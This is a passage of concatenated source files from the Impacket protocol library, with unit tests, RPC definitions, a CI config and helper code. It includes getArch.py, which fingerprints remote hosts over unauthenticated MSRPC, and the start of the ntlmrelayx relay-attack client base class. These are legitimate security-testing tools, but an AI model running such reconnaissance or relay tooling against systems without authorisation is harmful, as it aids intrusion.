enumerate(tags): 66 | self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag) 67 | 68 | # Add S-tag (outer tag, closest to the Ethernet header) 69 | self.eth.push_tag(EthernetTag(0x88a85001)) 70 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\xac\xf3') 71 | 72 | # Set C-tag (inner tag, closest to the payload) to default 73 | self.eth.set_tag(1, EthernetTag()) 74 | check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\x00\x00') 75 | 76 | # Insert a deprecated 802.1QinQ header between S-tag and C-tag 77 | self.eth.push_tag(EthernetTag(0x910054d2), index=1) 78 | check_tags(b'\x88\xa8\x50\x01', b'\x91\x00\x54\xd2', b'\x81\x00\x00\x00') 79 | 80 | # Test negative indices 81 | tags = {} 82 | for i in range(-3,3): 83 | tags[i] = self.eth.get_tag(i).get_buffer_as_string() 84 | 85 | self.assertEqual(tags[-1], tags[2]) 86 | self.assertEqual(tags[-2], tags[1]) 87 | self.assertEqual(tags[-3], tags[0]) 88 | 89 | # Accessing non-existent tags raises IndexError 90 | self.assertRaises(IndexError, self.eth.get_tag, 3) 91 | self.assertRaises(IndexError, self.eth.get_tag, -4) 92 | self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag()) 93 | self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag()) 94 | 95 | # Test Ethernet constructor 96 | data = self.eth.get_buffer_as_string() 97 | eth_copy = Ethernet(data) 98 | self.assertEqual(eth_copy.tag_cnt, 3) 99 | self.assertEqual(eth_copy.get_header_size(), 26) 100 | self.assertEqual(eth_copy.get_ether_type(), 0x0800) 101 | 102 | # Remove the deprecated 802.1QinQ header and check resulting frame 103 | eth_copy.pop_tag(1) 104 | self.assertEqual(eth_copy.tag_cnt, 2) 105 | self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:]) 106 | 107 | 108 | suite = unittest.TestLoader().loadTestsFromTestCase(TestEthernet) 109 | unittest.TextTestRunner(verbosity=1).run(suite) 110 | -------------------------------------------------------------------------------- /examples/getArch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # 9 | # Author: 10 | # beto (@agsolino) 11 | # 12 | # Description: 13 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type 14 | # installed. 15 | # The trick has been discovered many years ago and is actually documented by Microsoft here: 16 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 17 | # and doesn't require any authentication at all. 18 | # 19 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. 20 | # 21 | # Reference for: 22 | # RPCRT, NDR 23 | # 24 | from __future__ import division 25 | from __future__ import print_function 26 | import argparse 27 | import logging 28 | import sys 29 | 30 | from impacket import version 31 | from impacket.examples import logger 32 | from impacket.dcerpc.v5.rpcrt import DCERPCException 33 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 34 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP 35 | 36 | 37 | class TARGETARCH: 38 | def __init__(self, options): 39 | self.__machinesList = list() 40 | self.__options = options 41 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 42 | 43 | def run(self): 44 | if self.__options.targets is not None: 45 | for line in self.__options.targets.readlines(): 46 | self.__machinesList.append(line.strip(' \r\n')) 47 | else: 48 | self.__machinesList.append(self.__options.target) 49 | 50 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) 51 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) 52 | 53 | for machine in self.__machinesList: 54 | try: 55 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine 56 | transport = DCERPCTransportFactory(stringBinding) 57 | transport.set_connect_timeout(int(self.__options.timeout)) 58 | dce = transport.get_dce_rpc() 59 | dce.connect() 60 | try: 61 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) 62 | except DCERPCException as e: 63 | if str(e).find('syntaxes_not_supported') >= 0: 64 | print('%s is 32-bit' % machine) 65 | else: 66 | logging.error(str(e)) 67 | pass 68 | else: 69 | print('%s is 64-bit' % machine) 70 | 71 | dce.disconnect() 72 | except Exception as e: 73 | #import traceback 74 | #traceback.print_exc() 75 | logging.error('%s: %s' % (machine, str(e))) 76 | 77 | # Process command-line arguments. 78 | if __name__ == '__main__': 79 | # Init the example's logger theme 80 | logger.init() 81 | print(version.BANNER) 82 | 83 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") 84 | parser.add_argument('-target', action='store', help='') 85 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 86 | 'from (one per line). ') 87 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') 88 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 89 | 90 | if len(sys.argv)==1: 91 | parser.print_help() 92 | sys.exit(1) 93 | 94 | options = parser.parse_args() 95 | 96 | if options.target is None and options.targets is None: 97 | logging.error('You have to specify a target!') 98 | sys.exit(1) 99 | 100 | if options.debug is True: 101 | logging.getLogger().setLevel(logging.DEBUG) 102 | # Print the Library's installation path 103 | logging.debug(version.getInstallationPath()) 104 | else: 105 | logging.getLogger().setLevel(logging.INFO) 106 | 107 | try: 108 | getArch = TARGETARCH(options) 109 | getArch.run() 110 | except (Exception, KeyboardInterrupt) as e: 111 | if logging.getLogger().level == logging.DEBUG: 112 | import traceback 113 | traceback.print_exc() 114 | logging.error(str(e)) 115 | sys.exit(0) 116 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/oxabref.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol 9 | # 10 | # Authors: 11 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 12 | # 13 | 14 | from impacket import hresult_errors, mapi_constants 15 | from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG 16 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER 17 | from impacket.dcerpc.v5.rpcrt import DCERPCException 18 | from impacket.uuid import uuidtup_to_bin 19 | 20 | MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0')) 21 | 22 | class DCERPCSessionError(DCERPCException): 23 | def __init__(self, error_string=None, error_code=None, packet=None): 24 | DCERPCException.__init__(self, error_string, error_code, packet) 25 | 26 | def __str__( self ): 27 | key = self.error_code 28 | if key in mapi_constants.ERROR_MESSAGES: 29 | error_msg_short = mapi_constants.ERROR_MESSAGES[key] 30 | return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short) 31 | elif key in hresult_errors.ERROR_MESSAGES: 32 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 33 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 34 | return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 35 | else: 36 | return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code 37 | 38 | ################################################################################ 39 | # STRUCTURES 40 | ################################################################################ 41 | class PUCHAR_ARRAY(NDRPOINTER): 42 | referent = ( 43 | ('Data', STR), 44 | ) 45 | 46 | class PPUCHAR_ARRAY(NDRPOINTER): 47 | referent = ( 48 | ('Data', PUCHAR_ARRAY), 49 | ) 50 | 51 | ################################################################################ 52 | # RPC CALLS 53 | ################################################################################ 54 | 55 | # 3.1.4.1 RfrGetNewDSA (opnum 0) 56 | class RfrGetNewDSA(NDRCALL): 57 | opnum = 0 58 | structure = ( 59 | ('ulFlags', ULONG), 60 | ('pUserDN', STR), 61 | ('ppszUnused', PPUCHAR_ARRAY), 62 | ('ppszServer', PPUCHAR_ARRAY), 63 | ) 64 | 65 | class RfrGetNewDSAResponse(NDRCALL): 66 | structure = ( 67 | ('ppszUnused', PPUCHAR_ARRAY), 68 | ('ppszServer', PPUCHAR_ARRAY), 69 | ) 70 | 71 | # 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1) 72 | class RfrGetFQDNFromServerDN(NDRCALL): 73 | opnum = 1 74 | structure = ( 75 | ('ulFlags', ULONG), 76 | ('cbMailboxServerDN', ULONG), 77 | ('szMailboxServerDN', STR), 78 | ) 79 | 80 | class RfrGetFQDNFromServerDNResponse(NDRCALL): 81 | structure = ( 82 | ('ppszServerFQDN', PUCHAR_ARRAY), 83 | ('ErrorCode', ULONG), 84 | ) 85 | 86 | ################################################################################ 87 | # OPNUMs and their corresponding structures 88 | ################################################################################ 89 | OPNUMS = { 90 | 0 : (RfrGetNewDSA, RfrGetNewDSAResponse), 91 | 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse), 92 | } 93 | 94 | ################################################################################ 95 | # HELPER FUNCTIONS 96 | ################################################################################ 97 | def checkNullString(string): 98 | if string == NULL: 99 | return string 100 | 101 | if string[-1:] != '\x00': 102 | return string + '\x00' 103 | else: 104 | return string 105 | 106 | def hRfrGetNewDSA(dce, pUserDN=''): 107 | request = RfrGetNewDSA() 108 | request['ulFlags'] = 0 109 | request['pUserDN'] = checkNullString(pUserDN) 110 | request['ppszUnused'] = NULL 111 | request['ppszServer'] = '\x00' 112 | 113 | resp = dce.request(request) 114 | resp['ppszServer'] = resp['ppszServer'][:-1] 115 | 116 | if request['ppszUnused'] != NULL: 117 | resp['ppszUnused'] = resp['ppszUnused'][:-1] 118 | 119 | return resp 120 | 121 | def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN): 122 | szMailboxServerDN = checkNullString(szMailboxServerDN) 123 | request = RfrGetFQDNFromServerDN() 124 | request['ulFlags'] = 0 125 | request['szMailboxServerDN'] = szMailboxServerDN 126 | request['cbMailboxServerDN'] = len(szMailboxServerDN) 127 | 128 | resp = dce.request(request) 129 | resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1] 130 | 131 | return resp 132 | -------------------------------------------------------------------------------- /tests/dot11/test_RadioTapDecoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactDecoder import RadioTapDecoder 7 | import impacket.dot11, impacket.ImpactPacket 8 | import unittest 9 | from six import PY2 10 | 11 | class TestRadioTapDecoder(unittest.TestCase): 12 | 13 | def setUp(self): 14 | self.RadioTapData=b'\x00\x00\x20\x00\x67\x08\x04\x00\x30\x03\x1a\x25\x00\x00\x00\x00\x22\x0c\xd9\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36' 15 | self.radiotap_decoder = RadioTapDecoder() 16 | self.in0=self.radiotap_decoder.decode(self.RadioTapData) 17 | self.in1=self.in0.child() 18 | self.in2=self.in1.child() 19 | self.in3=self.in2.child() 20 | self.in4=self.in3.child() 21 | self.in5=self.in4.child() 22 | self.in6=self.in5.child() 23 | 24 | def test_00(self): 25 | 'Test RadioTap decoder' 26 | if PY2: 27 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.RadioTap") 28 | else: 29 | self.assertEqual(str(self.in0.__class__), "") 30 | 31 | def test_01(self): 32 | 'Test Dot11 decoder' 33 | if PY2: 34 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11") 35 | else: 36 | self.assertEqual(str(self.in1.__class__), "") 37 | 38 | def test_02(self): 39 | 'Test Dot11DataFrame decoder' 40 | if PY2: 41 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11DataFrame") 42 | else: 43 | self.assertEqual(str(self.in2.__class__), "") 44 | 45 | def test_03(self): 46 | 'Test LLC decoder' 47 | if PY2: 48 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.LLC") 49 | else: 50 | self.assertEqual(str(self.in3.__class__), "") 51 | 52 | def test_04(self): 53 | 'Test SNAP decoder' 54 | if PY2: 55 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.SNAP") 56 | else: 57 | self.assertEqual(str(self.in4.__class__), "") 58 | 59 | # def test_05(self): 60 | # 'Test ARP decoder' 61 | # self.assertEqual(str(self.in5.__class__), "ImpactPacket.ARP") 62 | 63 | # def test_05(self): 64 | # 'Test Data decoder' 65 | # self.assertEqual(str(self.in6.__class__), "ImpactPacket.Data") 66 | 67 | def test_06(self): 68 | 'Test Protocol Finder' 69 | p=self.radiotap_decoder.get_protocol(impacket.dot11.RadioTap) 70 | if PY2: 71 | self.assertEqual(str(p.__class__), "impacket.dot11.RadioTap") 72 | else: 73 | self.assertEqual(str(p.__class__), "") 74 | 75 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11) 76 | if PY2: 77 | self.assertEqual(str(p.__class__), "impacket.dot11.Dot11") 78 | else: 79 | self.assertEqual(str(p.__class__), "") 80 | 81 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11DataFrame) 82 | if PY2: 83 | self.assertEqual(str(p.__class__), "impacket.dot11.Dot11DataFrame") 84 | else: 85 | self.assertEqual(str(p.__class__), "") 86 | 87 | p=self.radiotap_decoder.get_protocol(impacket.dot11.LLC) 88 | if PY2: 89 | self.assertEqual(str(p.__class__), "impacket.dot11.LLC") 90 | else: 91 | self.assertEqual(str(p.__class__), "") 92 | 93 | p=self.radiotap_decoder.get_protocol(impacket.dot11.SNAP) 94 | if PY2: 95 | self.assertEqual(str(p.__class__), "impacket.dot11.SNAP") 96 | else: 97 | self.assertEqual(str(p.__class__), "") 98 | 99 | #p=self.radiotap_decoder.get_protocol(ImpactPacket.ARP) 100 | #self.assertEqual(str(p.__class__), "ImpactPacket.ARP") 101 | 102 | #p=self.radiotap_decoder.get_protocol(ImpactPacket.Data) 103 | #self.assertEqual(str(p.__class__), "ImpactPacket.Data") 104 | 105 | # When not found, None is returned 106 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11WPA) 107 | self.assertEqual(p, None) 108 | 109 | suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTapDecoder) 110 | unittest.TextTestRunner(verbosity=1).run(suite) 111 | -------------------------------------------------------------------------------- /.circleci/config.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | jobs: 3 | build_linux: 4 | docker: 5 | - image: rflathers/centos5_python27 6 | working_directory: ~/impacket 7 | steps: 8 | - checkout 9 | - run: 10 | name: install impacket 11 | command: | 12 | pip install . 13 | - run: 14 | name: install pyinstaller 15 | command: | 16 | pip install pip==18.1 17 | pip install setuptools==40.6.3 18 | pip install pyinstaller==3.4 19 | - run: 20 | name: gross hacky hack 21 | command: | 22 | sed -r -i 's/sys\.std(in|out)\.encoding/"UTF-8"/g' examples/*exec.py 23 | - run: 24 | name: Create standalone executables 25 | command: | 26 | for i in examples/*.py; do pyinstaller -F $i; done 27 | - run: 28 | name: Rename binaries 29 | command: | 30 | ARCH=$(uname -m) 31 | find dist/ -type f -exec mv {} {}_linux_$ARCH \; 32 | - run: 33 | name: Tarball binaries 34 | command: | 35 | tar czf impacket_linux_binaries.tar.gz -C dist/ . 36 | mv impacket_linux_binaries.tar.gz dist/ 37 | - run: 38 | name: Write version.txt 39 | command: | 40 | python setup.py --version | sed 's/dev.*/dev/' > ./dist/version.txt 41 | - store_artifacts: 42 | path: ./dist 43 | - persist_to_workspace: 44 | root: dist 45 | paths: 46 | - ./* 47 | build_windows: 48 | docker: 49 | - image: cdrx/pyinstaller-windows:python2 50 | working_directory: ~/impacket 51 | steps: 52 | - checkout 53 | - run: 54 | name: install impacket 55 | command: | 56 | pip install . 57 | - run: 58 | name: create standalone executables 59 | command: | 60 | for i in examples/*.py; do pyinstaller -F $i; done 61 | - run: 62 | name: rename binaries 63 | command: | 64 | for f in dist/*.exe; do mv "$f" "${f%.*}_windows.${f##*.}"; done 65 | - run: 66 | name: zip binaries 67 | command: | 68 | zip -r impacket_windows_binaries.zip dist/ 69 | mv impacket_windows_binaries.zip dist/ 70 | - store_artifacts: 71 | path: ./dist 72 | - persist_to_workspace: 73 | root: dist 74 | paths: 75 | - ./* 76 | build_alpine: 77 | docker: 78 | - image: rflathers/alpine34_pyinstaller:latest 79 | working_directory: ~/impacket 80 | steps: 81 | - checkout 82 | - run: 83 | name: install impacket 84 | command: | 85 | pip install . 86 | - run: 87 | name: gross hacky hack 88 | command: | 89 | sed -r -i 's/sys\.std(in|out)\.encoding/"UTF-8"/g' examples/*exec.py 90 | - run: 91 | name: create standalone executables 92 | command: | 93 | for i in examples/*.py; do pyinstaller -F $i; done 94 | - run: 95 | name: Rename binaries 96 | command: | 97 | ARCH=$(uname -m) 98 | find dist/ -type f -exec mv {} {}_musl_$ARCH \; 99 | - run: 100 | name: tarball binaries 101 | command: | 102 | tar czf impacket_musl_binaries.tar.gz -C dist/ . 103 | - store_artifacts: 104 | path: ./dist 105 | - persist_to_workspace: 106 | root: . 107 | paths: 108 | - impacket_musl_binaries.tar.gz 109 | github-release: 110 | docker: 111 | - image: cibuilds/github:0.10 112 | steps: 113 | - attach_workspace: 114 | at: ./artifacts 115 | - run: 116 | name: "Publish Binaries on Github" 117 | command: | 118 | VERSION=$(cat ./artifacts/version.txt) 119 | ghr -t ${GITHUB_TOKEN} -u ${CIRCLE_PROJECT_USERNAME} -r ${CIRCLE_PROJECT_REPONAME} -c ${CIRCLE_SHA1} -delete ${VERSION}-binaries ./artifacts/ 120 | 121 | workflows: 122 | version: 2 123 | main: 124 | jobs: 125 | - build_linux: 126 | filters: 127 | branches: 128 | only: 129 | - master 130 | - /release-.*/ 131 | - build_windows: 132 | filters: 133 | branches: 134 | only: 135 | - master 136 | - /release-.*/ 137 | - build_alpine: 138 | filters: 139 | branches: 140 | only: 141 | - master 142 | - /release-.*/ 143 | - github-release: 144 | filters: 145 | branches: 146 | only: 147 | - master 148 | - /release-.*/ 149 | context: "Github Token" 150 | requires: 151 | - build_linux 152 | - build_windows 153 | - build_alpine 154 | -------------------------------------------------------------------------------- /impacket/helper.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # Helper used to build ProtocolPackets 9 | # 10 | # Author: 11 | # Aureliano Calvo 12 | 13 | 14 | import struct 15 | import functools 16 | from six import add_metaclass 17 | 18 | import impacket.ImpactPacket as ip 19 | 20 | 21 | def rebind(f): 22 | functools.wraps(f) 23 | def rebinder(*args, **kwargs): 24 | return f(*args, **kwargs) 25 | 26 | return rebinder 27 | 28 | class Field(object): 29 | def __init__(self, index): 30 | self.index = index 31 | 32 | def __call__(self, k, d): 33 | getter = rebind(self.getter) 34 | getter_name = "get_" + k 35 | getter.__name__ = getter_name 36 | getter.__doc__ = "Get the %s field" % k 37 | d[getter_name] = getter 38 | 39 | setter = rebind(self.setter) 40 | setter_name = "set_" + k 41 | setter.__name__ = setter_name 42 | setter.__doc__ = "Set the %s field" % k 43 | d["set_" + k] = setter 44 | 45 | d[k] = property(getter, setter, doc="%s property" % k) 46 | 47 | class Bit(Field): 48 | def __init__(self, index, bit_number): 49 | Field.__init__(self, index) 50 | self.mask = 2 ** bit_number 51 | self.off_mask = (~self.mask) & 0xff 52 | 53 | def getter(self, o): 54 | return (o.header.get_byte(self.index) & self.mask) != 0 55 | 56 | def setter(self, o, value=True): 57 | b = o.header.get_byte(self.index) 58 | if value: 59 | b |= self.mask 60 | else: 61 | b &= self.off_mask 62 | 63 | o.header.set_byte(self.index, b) 64 | 65 | class Byte(Field): 66 | 67 | def __init__(self, index): 68 | Field.__init__(self, index) 69 | 70 | def getter(self, o): 71 | return o.header.get_byte(self.index) 72 | 73 | def setter(self, o, value): 74 | o.header.set_byte(self.index, value) 75 | 76 | class Word(Field): 77 | def __init__(self, index, order="!"): 78 | Field.__init__(self, index) 79 | self.order = order 80 | 81 | def getter(self, o): 82 | return o.header.get_word(self.index, self.order) 83 | 84 | def setter(self, o, value): 85 | o.header.set_word(self.index, value, self.order) 86 | 87 | class Long(Field): 88 | def __init__(self, index, order="!"): 89 | Field.__init__(self, index) 90 | self.order = order 91 | 92 | def getter(self, o): 93 | return o.header.get_long(self.index, self.order) 94 | 95 | def setter(self, o, value): 96 | o.header.set_long(self.index, value, self.order) 97 | 98 | class ThreeBytesBigEndian(Field): 99 | def __init__(self, index): 100 | Field.__init__(self, index) 101 | 102 | def getter(self, o): 103 | b=o.header.get_bytes()[self.index:self.index+3].tostring() 104 | #unpack requires a string argument of length 4 and b is 3 bytes long 105 | (value,)=struct.unpack('!L', b'\x00'+b) 106 | return value 107 | 108 | def setter(self, o, value): 109 | # clear the bits 110 | mask = ((~0xFFFFFF00) & 0xFF) 111 | masked = o.header.get_long(self.index, ">") & mask 112 | # set the bits 113 | nb = masked | ((value & 0x00FFFFFF) << 8) 114 | o.header.set_long(self.index, nb, ">") 115 | 116 | 117 | class ProtocolPacketMetaklass(type): 118 | def __new__(cls, name, bases, d): 119 | d["_fields"] = [] 120 | items = list(d.items()) 121 | if not object in bases: 122 | bases += (object,) 123 | for k,v in items: 124 | if isinstance(v, Field): 125 | d["_fields"].append(k) 126 | v(k, d) 127 | 128 | d["_fields"].sort() 129 | 130 | def _fields_repr(self): 131 | return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields ) 132 | def __repr__(self): 133 | 134 | return "<%(name)s %(fields)s \nchild:%(r_child)s>" % { 135 | "name": name, 136 | "fields": self._fields_repr(), 137 | "r_child": repr(self.child()), 138 | } 139 | 140 | d["_fields_repr"] = _fields_repr 141 | d["__repr__"] = __repr__ 142 | 143 | return type.__new__(cls, name, bases, d) 144 | 145 | @add_metaclass(ProtocolPacketMetaklass) 146 | class ProtocolPacket(ip.ProtocolPacket): 147 | def __init__(self, buff = None): 148 | ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size) 149 | if buff: 150 | self.load_packet(buff) 151 | -------------------------------------------------------------------------------- /tests/dot11/test_WEPEncoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | import impacket.dot11 7 | import impacket.ImpactPacket 8 | from impacket.Dot11KeyManager import KeyManager 9 | from binascii import unhexlify 10 | import unittest 11 | 12 | class TestDot11WEPData(unittest.TestCase): 13 | 14 | def setUp(self): 15 | self.dot11 = impacket.dot11.Dot11(FCS_at_end = False) 16 | 17 | # dot11.fc 18 | self.dot11.set_version(0) 19 | self.dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 20 | 21 | # dot11.fc.flags 22 | self.dot11.set_fromDS(0) 23 | self.dot11.set_toDS(1) 24 | self.dot11.set_moreFrag(0) 25 | self.dot11.set_retry(0) 26 | self.dot11.set_powerManagement(0) 27 | self.dot11.set_moreData(0) 28 | self.dot11.set_protectedFrame(1) 29 | self.dot11.set_order(0) 30 | 31 | # dot11.Data 32 | self.dot11data = impacket.dot11.Dot11DataFrame() 33 | self.dot11data.set_duration(44) 34 | self.dot11data.set_address1([0x00,0x21,0x29,0x68,0x33,0x5d]) # Bssid 35 | self.dot11data.set_address2([0x00,0x18,0xde,0x7c,0x37,0x9f]) # Source 36 | self.dot11data.set_address3([0x00,0x21,0x29,0x68,0x33,0x5d]) # Destination 37 | self.dot11data.set_fragment_number(0) 38 | self.dot11data.set_sequence_number(3439) 39 | 40 | # WEP 41 | self.wep = impacket.dot11.Dot11WEP() 42 | self.wep.set_iv(0x0c3165) 43 | self.wep.set_keyid(0) 44 | 45 | # WEPData 46 | self.wepdata = impacket.dot11.Dot11WEPData() 47 | 48 | # LLC 49 | self.llc = impacket.dot11.LLC() 50 | self.llc.set_DSAP(0xaa) 51 | self.llc.set_SSAP(0xaa) 52 | self.llc.set_control(0x03) 53 | 54 | # SNAP 55 | self.snap = impacket.dot11.SNAP() 56 | self.snap.set_OUI(0x000000) 57 | self.snap.set_protoID(0x0800) 58 | 59 | # IP 60 | self.ip = impacket.ImpactPacket.IP() 61 | self.ip.set_ip_v(0x04) 62 | self.ip.set_ip_tos(0x00) 63 | self.ip.set_ip_id(0xa607) 64 | # IP.flags 65 | self.ip.set_ip_rf(0) 66 | self.ip.set_ip_df(0) 67 | self.ip.set_ip_mf(0) 68 | # 69 | self.ip.set_ip_off(0) 70 | self.ip.set_ip_ttl(128) 71 | self.ip.set_ip_p(0x01) # ICMP 72 | self.ip.set_ip_src('192.168.1.102') 73 | self.ip.set_ip_dst('64.233.163.103') 74 | 75 | # ICMP 76 | self.icmp = impacket.ImpactPacket.ICMP() 77 | self.icmp.set_icmp_type(self.icmp.ICMP_ECHO) 78 | self.icmp.set_icmp_code(0x00) 79 | self.icmp.set_icmp_id(0x0400) 80 | self.icmp.set_icmp_seq(0x8405) 81 | 82 | # Data 83 | datastring = b'abcdefghijklmnopqrstuvwabcdefghi' 84 | self.data = impacket.ImpactPacket.Data( datastring ) 85 | 86 | # Build the protocol stack 87 | self.dot11.contains(self.dot11data) 88 | self.dot11data.contains(self.wep) 89 | self.wep.contains(self.wepdata) 90 | self.wepdata.contains(self.llc) 91 | self.llc.contains(self.snap) 92 | self.snap.contains(self.ip) 93 | self.ip.contains(self.icmp) 94 | self.icmp.contains(self.data) 95 | 96 | # Instantiated the Key Manager 97 | self.km=KeyManager() 98 | self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5b],unhexlify('999cbb701ca2ef030e302dcc35')) 99 | 100 | def test_02(self): 101 | 'Test ICV methods' 102 | self.assertEqual(self.wepdata.get_icv(),0x00000000) 103 | self.assertEqual(self.wepdata.get_computed_icv(),0xA1F93985) 104 | self.wepdata.set_icv(0xA1F93985) 105 | self.assertEqual(self.wepdata.get_icv(), self.wepdata.get_computed_icv()) 106 | self.wepdata.set_icv(0x01020304) 107 | self.assertEqual(self.wepdata.get_icv(),0x01020304) 108 | 109 | def test_03(self): 110 | 'Test WEPData creation from scratch with encryption' 111 | 112 | #print "\nWEP Data Decrypted [%s]"%hexlify(self.wepdata.get_packet()) 113 | self.wepdata.set_icv(0xA1F93985) 114 | wep_enc=self.wep.get_encrypted_data(unhexlify('999cbb701ca2ef030e302dcc35')) 115 | #print "\nWEP Data Encrypted [%s]"%hexlify(wep_enc) 116 | self.assertEqual(wep_enc,unhexlify('8d2381e9251cb5aa83d2c716ba6ee18e7d3a2c71c00f6ab82fbc54c4b014ab03115edeccab2b18ebeb250f75eb6bf57fd65cb9e1b26e50ba4bb48b9f3471da9ecf12cb8f361b0253')) 117 | 118 | #print "\nDot11 decrypted [%s]"%hexlify(self.dot11.get_packet()) 119 | self.wep.encrypt_frame(unhexlify('999cbb701ca2ef030e302dcc35')) 120 | #print "\nDot11 encrypted [%s]"%hexlify(self.dot11.get_packet()) 121 | 122 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WEPData) 123 | unittest.TextTestRunner(verbosity=1).run(suite) 124 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Client Base Class definition 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # Defines a base class for all clients + loads all available modules 14 | # 15 | # ToDo: 16 | # 17 | import os, sys, pkg_resources 18 | from impacket import LOG 19 | 20 | PROTOCOL_CLIENTS = {} 21 | 22 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin for protocol clients: 25 | # PROTOCOL_CLIENT_CLASS = "" 26 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 27 | class ProtocolClient: 28 | PLUGIN_NAME = 'PROTOCOL' 29 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 30 | self.serverConfig = serverConfig 31 | self.targetHost = target.hostname 32 | # A default target port is specified by the subclass 33 | if target.port is not None: 34 | # We override it by the one specified in the target 35 | self.targetPort = target.port 36 | else: 37 | self.targetPort = targetPort 38 | self.target = target 39 | self.extendedSecurity = extendedSecurity 40 | self.session = None 41 | self.sessionData = {} 42 | 43 | def initConnection(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | def killConnection(self): 47 | raise RuntimeError('Virtual Function') 48 | 49 | def sendNegotiate(self, negotiateMessage): 50 | """ 51 | Charged of sending the type 1 NTLM Message 52 | 53 | :param bytes negotiateMessage: 54 | :return: 55 | """ 56 | raise RuntimeError('Virtual Function') 57 | 58 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 59 | """ 60 | Charged of sending the type 3 NTLM Message to the Target 61 | 